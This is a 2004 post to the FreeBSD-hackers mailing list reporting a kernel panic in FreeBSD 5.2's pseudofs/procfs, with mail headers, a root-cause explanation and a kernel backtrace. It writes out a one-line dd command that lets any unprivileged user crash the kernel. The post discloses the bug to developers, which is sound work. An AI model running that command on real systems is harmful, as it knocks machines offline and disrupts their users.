From owner-freebsd-hackers@FreeBSD.ORG Sun Feb 1 14:37:45 2004 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EA30116A4D0 for ; Sun, 1 Feb 2004 14:37:45 -0800 (PST) Received: from thor.piquan.org (adsl-66-125-235-59.dsl.sntc01.pacbell.net [66.125.235.59]) by mx1.FreeBSD.org (Postfix) with ESMTP id C134543D3F for ; Sun, 1 Feb 2004 14:37:38 -0800 (PST) (envelope-from joelh@piquan.org) Received: from thor.piquan.org (joelh@localhost [127.0.0.1]) by thor.piquan.org (8.12.10/8.12.10) with ESMTP id i11MbcJb053973 for ; Sun, 1 Feb 2004 14:37:38 -0800 (PST) (envelope-from joelh@piquan.org) Received: (from joelh@localhost) by thor.piquan.org (8.12.10/8.12.10/Submit) id i11MbcJX053972; Sun, 1 Feb 2004 14:37:38 -0800 (PST) (envelope-from joelh@piquan.org) X-Authentication-Warning: thor.piquan.org: joelh set sender to joelh@piquan.org using -f X-Authentication-Warning: thor.piquan.org: joelh set sender to joelh@piquan.org using -f To: hackers@freebsd.org Precedence: first-class From: Joel Ray Holveck Date: Sat, 31 Jan 2004 00:24:58 -0800 Message-ID: <87n084cyp1.fsf@thor.piquan.org> User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.3 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailman-Approved-At: Mon, 02 Feb 2004 05:42:29 -0800 Subject: Panic in /proc X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.1 List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 01 Feb 2004 22:37:46 -0000 Here's a way to panic FreeBSD 5.2, as any user: dd if=/proc/curproc/map iseek=0x8000 bs=4096 of=/dev/null count=1 I briefly examined the core. It appears that pseudofs is trying to malloc an sbuf big enough to hold everything up to the 128 MB mark that we requested, which it intends to get procfs to fill. Of course, the malloc fails, and the kernel panics. I'm normally not inclined to bother tracking down most panics, but this was interesting because it can be done as any user, not just root. That makes it a local unprivileged DOS. For the interested, here's a backtrace from my 5.2-RELEASE box. I was trying to read a slightly different address in this; I think it was 0x8048000. panic: kmem_malloc(134516736): kmem_map too small: 37502976 total allocated #0 doadump () at ../../../kern/kern_shutdown.c:240 #1 0xc054a3ba in boot (howto=256) at ../../../kern/kern_shutdown.c:372 #2 0xc054a6c7 in panic () at ../../../kern/kern_shutdown.c:550 #3 0xc0673ce0 in kmem_malloc (map=0xc10330a0, size=134516736, flags=2) at ../../../vm/vm_kern.c:342 #4 0xc0683577 in page_alloc (zone=0x0, bytes=0, pflag=0x0, wait=0) at ../../../vm/uma_core.c:842 #5 0xc0684d92 in uma_large_malloc (size=134516736, wait=2) at ../../../vm/uma_core.c:2024 #6 0xc05405bd in malloc (size=134516736, type=0xc076fa00, flags=2) at ../../../kern/kern_malloc.c:253 #7 0xc056bc0b in sbuf_new (s=0xc3764940, buf=0x0, length=0, flags=0) at ../../../kern/subr_sbuf.c:187 #8 0xc05096b6 in pfs_read (va=0x0) at ../../../fs/pseudofs/pseudofs_vnops.c:528 #9 0xc05a9bd3 in vn_read (fp=0xc39d3d04, uio=0xd3d9dc80, active_cred=0x0, flags=0, td=0xc33713c0) at vnode_if.h:398 #10 0xc056ea0c in dofileread (td=0xc33713c0, fp=0xc39d3d04, fd=0, buf=0xbfbfcb5c, nbyte=0, offset=0, flags=0) at ../../../sys/file.h:237 #11 0xc056e86b in read (td=0xc33713c0, uap=0xd3d9dd14) at ../../../kern/sys_generic.c:109 #12 0xc06c76a2 in syscall (frame= {tf_fs = 47, tf_es = 47, tf_ds = 47, tf_edi = -1077943348, tf_esi = -1077943336, tf_ebp = -1077943388, tf_isp = -740696716, tf_ebx = 2, tf_edx = 0, tf_ecx = 43, tf_eax = 3, tf_trapno = 12, tf_err = 2, tf_eip = 671900527, tf_cs = 31, tf_eflags = 662, tf_esp = -1077949652, tf_ss = 47}) at ../../../i386/i386/trap.c:1010 #13 0xc06b8a5d in Xint0x80_syscall () at {standard input}:136 Cheers, joelh -- Joel Ray Holveck - joelh@piquan.org Fourth law of programming: Anything that can go wrong wi sendmail: segmentation violation - core dumped